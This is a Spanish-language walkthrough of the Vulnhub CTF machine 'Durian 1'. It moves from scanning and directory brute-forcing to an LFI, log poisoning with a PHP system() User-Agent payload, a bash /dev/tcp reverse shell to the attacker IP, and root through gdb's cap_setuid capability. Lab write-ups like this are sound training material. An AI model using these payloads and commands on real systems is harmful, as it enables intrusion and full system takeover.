Durian 1
Walkthrough de la máquina Durian 1 de Vulnhub
En la descripción indica que la máquina es para VM Workstation 15.x Pro. En Proxox tuve problemas ya que no exponía el puerto 80 y en VirtualBox tuve que restablecerla varias veces y asignarle más recursos porque dejaba de funcionar correctamente, por lo que recomiendo hacer un snapshot de la máquina antes de empezar.
Obteniendo la IP de la máquina víctima
Lo primero que vamos a hacer es tratar de descubrir en qué IP está la máquina víctima. Para ello vamos a usar nmap
indicádole que queremos hacer un ping scan (-sn
) para toda la red en la que nos encontramos actualmente. Si no estamos como usuario root
es recomendable usar sudo
para obtener información adicional de los equipos que se encuentren en la red:
sudo nmap -sn 10.0.0.1/24
Resultado (relevante):
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 11:18 CET ... MAC Address: BE:6D:67:8D:E4:46 (Unknown) Nmap scan report for 10.0.0.103 Host is up (0.00082s latency). ...
Nmap nos indica que la IP de la máquina víctima es la siguiente:
10.0.0.103
En caso de que sea una máquina virtual podemos verificarlo comprobando si las direcciones MAC de las tarjetas de red coinciden.
Lo siguiente que vamos a hacer es agregar la IP de la máquina víctima a nuestro /etc/hosts
. De esta manera no necesitaremos recordar la IP y podemos usar el nombre que le pongamos. Editamos el fichero /etc/hosts
y agregamos la siguiente línea al final del mismo:
10.0.0.103 durian1.ctf
Ahora si hacemos un ping durian1.ctf -c 1
deberíamos obtener la siguiente respuesta:
PING durian1.ctf (10.0.0.103) 56(84) bytes of data. 64 bytes from durian1.ctf (10.0.0.103): icmp_seq=1 ttl=64 time=10.8 ms --- durian1.ctf ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 10.792/10.792/10.792/0.000 ms
Esto nos confirma que resuelve correctamente el hostname que le hemos asignado.
Escaneo de puertos
Una vez que tenemos la IP de la máquina víctima, lo que vamos a hacer es tratar de detectar los puertos que tiene abiertos. Para ello vamos a lanzar otro escaneo con nmap
contra todo el rango de puertos (-p-
) usando la plantilla de temporizado más rápida (-T5
), filtrando por los puertos abiertos (--open
), y deshabilitando la resolución de DNS (-n
) y el descubrimiento de hosts (-Pn
):
nmap -p- -T5 --open -Pn -n durian1.ctf
Resultado:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 16:03 CET Nmap scan report for durian1.ctf (10.0.0.103) Host is up (0.00069s latency). Not shown: 65530 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 7080/tcp open empowerid 8000/tcp open http-alt 8088/tcp open radan-http Nmap done: 1 IP address (1 host up) scanned in 0.97 seconds
De este escaneo obtenemos que los siguientes puertos están abiertos: 22 (SSH), 80 (HTTP), 7080 (EMPOWERID), 8000 (HTTP-ALT), y 8088 (RADAN-HTTP). Sabiendo que estos puertos están abiertos, lo siguiente que vamos a hacer es tratar de detectar qué servicios se están exponiendo y las versiones de los mismos (-sCV
):
nmap -p 22,7080,8000,8088 -sCV durian1.ctf
Resultado relevante (se ha eliminado parte del output):
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-25 16:05 CET Nmap scan report for durian1.ctf (10.0.0.103) Host is up (0.00038s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 281c64fa9cc3d2d4bb763d3b10e2b125 (RSA) | 256 dab2e17f7c1b58cffd4f74e9236d51d7 (ECDSA) |_ 256 41e10c2bd426e8d371bb9df9615663c0 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-server-header: Apache/2.4.38 (Debian) |_http-title: Durian 7080/tcp open ssl/empowerid LiteSpeed | http-title: LiteSpeed WebAdmin Console |_Requested resource was https://durian1.ctf:7080/login.php | ssl-cert: Subject: commonName=durian/organizationName=LiteSpeedCommunity/stateOrProvinceName=NJ/countryName=US | Not valid before: 2020-09-08T02:05:32 |_Not valid after: 2022-12-07T02:05:32 |_ssl-date: TLS randomness does not represent time |_http-server-header: LiteSpeed | fingerprint-strings: | ... | tls-alpn: | h2 | spdy/3 | spdy/2 |_ http/1.1 8000/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-open-proxy: Proxy might be redirecting requests |_http-title: Durian 8088/tcp open radan-http LiteSpeed |_http-title: Durian |_http-server-header: LiteSpeed | fingerprint-strings: | ... 2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== ... ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== ... Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 110.82 seconds
Del resultado del escaneo más detallado obtenemos lo siguiente:
22/tcp
: SSH - OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)80/tcp
: HTTP - Apache httpd 2.4.38 ((Debian))7080/tcp
: SSL/EMPOWERID - LiteSpeed8000/tcp
: HTTP - nginx 1.14.28088/tcp
: RADAN-HTTP - LiteSpeed
Resumiendo el resultado del escaneo:
- SSH: 22
- HTTPS: 7080
- HTTP: 80, 8000 y 8088
Analizando el servicio HTTP (80/TCP)
Ya que tenemos expuesto un servicio HTTP por el puerto 80, lo que vamos a hacer es tratar de ver qué se está exponiendo en ese puerto accediendo a la url http://durian1.ctf
en el navegador.
Al acceder vemos que el contenido de la página es únicamente una imágen la cual no está disponible actualmente. Ese recurso está en una URL externa por lo que no podemos hacer nada para ver cuál era su contenido. Como en http://durian1.ctf
no encontramos nada interesante, vamos a hacer un ataque de fuerza bruta para descubrir más rutas y archivos.
Para relizar este ataque vamos a usar Gobuster indicándole que quremos listar directorios (dir
) contra la IP de la máquina víctima (-u
), usando extensiones adicionales (-x
), usando un diccionario orientado a listado de directorios (-w
), y limitando el número de hilos a 3 (-t
):
gobuster dir -u http://durian1.ctf -x html,txt,php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 3
Resultado:
=============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://durian1.ctf [+] Method: GET [+] Threads: 3 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Extensions: html,txt,php [+] Timeout: 10s =============================================================== 2023/03/25 16:22:28 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 765] /blog (Status: 301) [Size: 309] [--> http://durian1.ctf/blog/] /server-status (Status: 403) [Size: 276] /cgi-data (Status: 301) [Size: 313] [--> http://durian1.ctf/cgi-data/] =============================================================== 2023/03/25 16:23:33 Finished ===============================================================
Del escaneo obtenemos que existen 3 rutas más que pueden ser interesantes:
- /blog: que redirige a /blog/
- /server-status: al cual no tenemos acceso
- /cgi-data: que redirige a /cgi-data/
Si intentamos acceder a http://durian1.ctf/blog/
vemos que no nos devuelve ningún contenido. Por el otro lado, si accedemos a http://durian1.ctf/cgi-data/
vemos que tenemos capacidad de directory listing. En este caso vemos que tenemos un script en PHP que se llama getImage.php
. Si accedemos a la url http://durian1.ctf/cgi-data/getImage.php
y vemos su contenido nos encontramos con lo siguiente (en Firefox podemos ver el contenido poniendo el prefijo view-source:
en la URL):
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> /* </?php include $_GET['file']; */ </body> </html>
En el contenido de la respuesta vemos que nos está indicando que el script espera el parámetro file
así que vamos a probar a intentar leer algún fichero interesante del sistema. Para ello ponemos en el navegador view-source:http://durian1.ctf/cgi-data/getImage.php?file=/etc/passwd
obteniendo el siguiente resultado (relevante):
root:x:0:0:root:/root:/bin/bash ... durian:x:1000:1000:durian,,,:/home/durian:/bin/bash ... mysql:x:106:113:MySQL Server,,,:/nonexistent:/bin/false
Al parecer se está aconteciendo un LFI (local file inclusion). De la petición anterior obtenemos que existen dos usuarios en el sistema:
root
durian
Comprometiendo la máquina víctima
Lo siguiente que vamos a intentar es convertir el LFI (local file inclusion) que ya hemos encontrado en una RCE (remote command execution). Una forma común de conseguir esto es mediante log poisoning. El log poisoning consiste en buscar la manera de introducir una instrucción en PHP en un log que podamos interpretar mediante el LFI con PHP (en este caso).
Si intentamos acceder a los ficheros típicos donde se encuentrar logs tanto de autenticación como de Apache veremos que no tenemos acceso a los mismos. Como no sabemos donde se encuentra un log que podamos leer vamos a intentar acceder a él mediante los descriptores de /proc/self/fd/
. Para ello vamos a crear un pequeño script en Python que vaya listando todos los descriptores hasta encontrar el descriptor del access log de Apache o algún otro log al que podamos agregar contenido desde fuera de la máquina víctima.
import requests url = "http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/" for i in range(10): r = requests.get(url + str(i)); print(f"{i} - {len(r.text)}");
Resultado de la ejecución:
0 - 241 1 - 241 2 - 241 3 - 241 4 - 241 5 - 241 6 - 7789 7 - 241 8 - 2943 9 - 241
Como podemos observar, hay 2 descriptores que tienen más contenido que el resto, el 6 y el 8. Si hacemos curl "http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/8"
podremos comprobar que nos encontramos ante algo parecido al access.log de Apache, en el que podemos ver la ruta de la petición y el user-agent. Como tenemos capacidad de escritura en un log del sistema y su interpretación en PHP podemos conseguir RCE a través del LFI.
Para ello, vamos a hacer una petición al servidor en la que el user-agent es el siguiente:
User-Agent: <?php system($_GET['cmd']); ?>
De esta manera podemos ejecutar el comando que queramos simplemente usando el parámetro cmd
. Por ejemplo, si hacemos curl "http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/8&cmd=id"
dentro de los resultados veremos uid=33(www-data) gid=33(www-data) groups=33(www-data)
. De esta manera confirmamos que tenemos ejecución remota de comandos y que el usuario con el que se está ejecutando Apache es www-data
.
Ahora que ya tenemos ejecución remota de comandos (RCE) en la máquina víctima, lo siguiente que podemos hacer es tratar de entablarnos una reverse shell para poder trabajar con más comodidad. Lo primero que hacemos es ponernos escucha en nuestra máquina mediante Netcat:
nc -nlvp 8888
Recibiendo el mensaje de confirmación de que estamos escuchando:
listening on [any] 8888 ...
A continuación, a través de la shell que hemos generado en el servidor ejecutamos un comando para que nos establezca una conexión a nuestro Netcat (/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.100/8888 0>&1'
). Para ello hacemos un url encode del comando y lo pasamos por el parámetro cmd
de la url http://durian1.ctf/cgi-data/getImage.php?file=/proc/self/fd/8&cmd=/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.100/8888%200%3E%261%27
obteniendo el siguiente resultado:
connect to [10.0.0.100] from (UNKNOWN) [10.0.0.103] 49542 bash: cannot set terminal process group (470): Inappropriate ioctl for device bash: no job control in this shell www-data@durian:/var/www/html/cgi-data$
Ahora, para poder tener una shell completamente interactiva, lanzamos una pseudo consola con script /dev/null -c bash
, presionamos Ctrl + z
y hacemos un tratamiento de la tty con stty raw -echo; fg
. Escribimos reset
para reiniciar la configuración de la terminal, indicamos xterm
como tipo de terminal y exportamos 2 variables de entorno:
export TERM=xterm
export SHELL=bash
Con esto ya deberíamos poder hacer Ctrl + c
para terminar la ejecución de un comando, o Ctrl + l
para limpiar la terminal. También podemos ir atrás en el histórico de comandos.
Pivotando al usuario root
Si listamos las capabilities de los binarios del usuario con getcap -r / 2>/dev/null
obtenemos el siguiente resultado:
/usr/bin/gdb = cap_setuid+ep /usr/bin/ping = cap_net_raw+ep
Si buscamos en GTFOBins los binarios para los que tenemos capabilities llegamos a la siguiente página sobre GDB. Si bajas a la última sección, a la de Capabilities te indica que puedes obtener un shell privilegiada usando el siguiente comando:
./gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
En nuestro caso, tenemos que ajustar la ruta de gdb
dejando que se resuelva a través del PATH, y cambiando la sh
por una bash
:
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!bash' -ex quit
Resultado:
GNU gdb (Debian 8.2.1-2+b3) 8.2.1 Copyright (C) 2018 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu". Type "show configuration" for configuration details. For bug reporting instructions, please see: <http://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help, type "help". Type "apropos word" to search for commands related to "word". root@durian:/# id uid=0(root) gid=33(www-data) groups=33(www-data)
Con esto ya tendríamos acceso como root
a la máquina víctima.
Si listamos el contenido del directorio home del usuario root
/root
encontramos el flag (proof.txt
):SunCSR_Team.af6d45da1f1181347b9e2139f23c6a5b
.